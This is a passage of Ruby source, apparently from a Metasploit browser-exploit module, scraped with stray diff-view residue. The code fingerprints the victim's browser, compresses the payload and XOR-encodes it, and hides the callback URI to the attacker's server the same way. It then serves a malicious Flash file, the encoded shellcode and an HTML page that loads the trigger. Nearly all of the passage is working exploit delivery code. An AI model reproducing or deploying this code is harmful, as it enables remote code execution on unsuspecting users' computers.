# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
xor_byte = 122
|
||||
trigger = @swf
|
||||
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
|
||||
code = rand_text_alpha(rand(6)+3) + ".txt"
|
||||
|
||||
sc = Zlib::Deflate.deflate(payload.encoded)
|
||||
shellcode = ""
|
||||
|
||||
sc.each_byte do | c |
|
||||
shellcode << (xor_byte ^ c)
|
||||
end
|
||||
|
||||
uri = ((datastore['SSL']) ? "https://" : "http://")
|
||||
uri << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'])
|
||||
uri << ":#{datastore['SRVPORT']}#{get_resource()}/#{code}"
|
||||
|
||||
bd_uri = Zlib::Deflate.deflate(uri)
|
||||
|
||||
uri = ""
|
||||
bd_uri.each_byte do | c |
|
||||
uri << (xor_byte ^ c)
|
||||
end
|
||||
|
||||
bd_uri = uri.unpack("H*")[0]
|
||||
|
||||
obj_id = rand_text_alpha(rand(6)+3)
|
||||
|
||||
if request.uri.match(/\.swf/i)
|
||||
print_status("Sending malicious swf")
|
||||
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
||||
return
|
||||
end
|
||||
|
||||
if request.uri.match(/\.txt/i)
|
||||
print_status("Sending payload")
|
||||
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
|
||||
return
|
||||
end
|
||||
|
||||
html = <<-EOS
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<center>
|
||||
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
|
||||
id="#{obj_id}" width="600" height="400"
|
||||
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
||||
<param name="movie" value="/test/#{trigger_file}?info=#{bd_uri}" />
|
||||
<embed src="/test/#{trigger_file}?info=#{bd_uri}" quality="high"
|
||||
width="320" height="300" name="#{obj_id}" align="middle"
|
||||
allowNetworking="all"
|
||||
type="application/x-shockwave-flash"
|
||||
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
||||
</embed>
|
||||
</object>
|
||||
</center>
|
||||
</body>
|
||||
</html>
|
||||
EOS
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("Sending #{self.name} HTML")
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue